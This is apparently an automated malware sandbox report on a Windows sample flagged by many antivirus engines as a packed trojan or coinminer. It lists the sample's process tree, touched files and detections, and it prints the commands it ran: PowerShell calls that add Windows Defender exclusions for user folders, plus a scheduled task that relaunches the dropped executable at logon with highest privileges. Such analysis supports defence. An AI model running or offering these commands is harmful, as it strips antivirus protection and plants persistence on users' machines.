Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6401 | June 12, 2021, 12:40 p.m. | June 12, 2021, 12:43 p.m. |
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
596-
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp'
2856 -
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22'
2660 -
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming'
2696
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit
2656-
schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"'
1596
-
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
2452-
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp'
2544 -
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22'
2632
-
-
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
1068-
powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp'
1936
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit
2244-
schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"'
2472
-
-
-
Name | Response | Post-Analysis Lookup |
---|---|---|
No hosts contacted. |
IP Address | Status | Action |
---|---|---|
164.124.101.2 | Active | Moloch |
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
file | C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe |
file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | cmd /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp' |
cmdline | schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' |
cmdline | cmd /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit |
cmdline | "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit |
cmdline | powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming' |
cmdline | C:\Users\test22\AppData\Roaming\CMD.exe |
cmdline | powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22' |
cmdline | "C:\Users\test22\AppData\Roaming\CMD.exe" |
section | {u'size_of_data': u'0x0021c800', u'virtual_address': u'0x00002000', u'entropy': 7.999820155013829, u'name': u'.text', u'virtual_size': u'0x0021c6ec'} | entropy | 7.99982015501 | description | A section with a high entropy has been found | |||||||||
entropy | 0.997922917147 | description | Overall entropy of this PE file is high |
cmdline | "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | cmd /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' |
cmdline | "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | cmd /c schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' & exit |
cmdline | schtasks /create /f /sc onlogon /rl highest /tn "CMD" /tr '"C:\Users\test22\AppData\Roaming\CMD.exe"' |
file | C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe |
file | C:\Windows\System32\ie4uinit.exe |
file | C:\Program Files\Windows Sidebar\sidebar.exe |
file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
file | C:\Windows\System32\xpsrchvw.exe |
file | C:\Windows\System32\displayswitch.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
file | C:\Windows\System32\mblctr.exe |
file | C:\Windows\System32\mstsc.exe |
file | C:\Windows\System32\SnippingTool.exe |
file | C:\Windows\System32\SoundRecorder.exe |
file | C:\Windows\System32\dfrgui.exe |
file | C:\Windows\System32\msinfo32.exe |
file | C:\Windows\System32\rstrui.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
file | C:\Program Files\Windows Journal\Journal.exe |
file | C:\Windows\System32\MdSched.exe |
file | C:\Windows\System32\msconfig.exe |
file | C:\Windows\System32\recdisc.exe |
file | C:\Windows\System32\msra.exe |
Elastic | malicious (high confidence) |
DrWeb | Trojan.PackedNET.721 |
MicroWorld-eScan | Gen:Variant.Bulz.474543 |
FireEye | Generic.mg.b8764252ff52d8b2 |
McAfee | Artemis!B8764252FF52 |
Cybereason | malicious.e92fd5 |
Arcabit | Trojan.Bulz.D73DAF |
ESET-NOD32 | a variant of MSIL/Kryptik.AAWE |
APEX | Malicious |
Avast | Win64:CoinminerX-gen [Trj] |
Kaspersky | HEUR:Trojan.MSIL.Dizemp.gen |
BitDefender | Gen:Variant.Bulz.474543 |
Ad-Aware | Gen:Variant.Bulz.474543 |
McAfee-GW-Edition | Artemis!Trojan |
Emsisoft | Gen:Variant.Bulz.474543 (B) |
SentinelOne | Static AI - Malicious PE |
MAX | malware (ai score=85) |
Microsoft | Trojan:MSIL/AgentTesla.FO!MTB |
ZoneAlarm | HEUR:Trojan.MSIL.Dizemp.gen |
GData | Gen:Variant.Bulz.474543 |
Cynet | Malicious (score: 100) |
AhnLab-V3 | Trojan/Win.Generic.C4474550 |
ALYac | Gen:Variant.Bulz.474543 |
Rising | Trojan.Kryptik/MSIL!1.D61B (CLASSIC) |
Ikarus | Trojan.MSIL.Crypt |
Fortinet | MSIL/GenKryptik.FFBT!tr |
AVG | Win64:CoinminerX-gen [Trj] |